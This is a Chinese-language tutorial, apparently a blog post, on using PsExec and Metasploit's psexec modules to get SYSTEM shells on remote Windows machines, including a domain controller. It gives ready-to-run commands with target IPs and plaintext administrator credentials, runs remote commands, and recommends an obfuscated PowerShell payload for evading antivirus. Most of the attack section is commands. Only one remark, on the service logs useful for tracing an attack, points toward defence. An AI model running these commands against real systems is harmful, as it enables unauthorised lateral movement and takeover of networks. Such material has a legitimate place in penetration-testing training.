前言
PsExec是SysInternals套件中的一款强大的软件。攻击者通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性。
PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC
的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。
攻击过程
首先我们的与目标操作系统建立一个ipc$
管道共享,并获取对应的交互式shell
然后我们执行如下命令,获取对应系统的System
权限的shell。-accepteula
是指第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框。-s
是指以System权限运行远程进程,获得一个System权限的交互式Shell。如果不使用该参数,会获得一个Administrator权限的shell。
PsExec64.exe -accepteula \\192.168.108.101 -s cmd.exe
如果我们没有建立IPC$,psexec有两个参数可以通过指定账号和密码进行远程连接。-u
是指域\用户名,-p
是指密码
psexec64.exe \\192.168.108.101 -u administrator -p Admin12345 cmd.exe
我们可以执行如下命令,使用psexec在远程计算机上进行回显
psexec64.exe \\192.168.108.101 -u administrator -p Admin12345 cmd.exe /c "net user"
使用psexec的注意事项
- 需要远程系统开启
admin$
共享(默认是开启的) - 在使用ipc$连接目标系统后,不需要输入账号和密码
- 在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建和删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
- 使用psexec可以直接获得system权限的交互式shell
Metasploit中的psexec模块
我们使用search命令搜索psexec模块。使用exploit/windows/smb/psexec_psh
模块生成的payload比exploit/windows/smb/psexec
的EXE版本好,因为前者是使用powershell实现的,powershell脚本使用了混淆技术达到绕过杀软的目的。如果内网中的一些机器是XP或者2003版本的,我们可以使用后者的payload。
我们使用exploit/windows/smb/psexec
这个模块,并设置对应的参数
set rhosts 192.168.108.101(域控IP)
set smbuser administrator
set smbpass Admin12345
exploit
可以看到,我们获得的是一个system权限的shell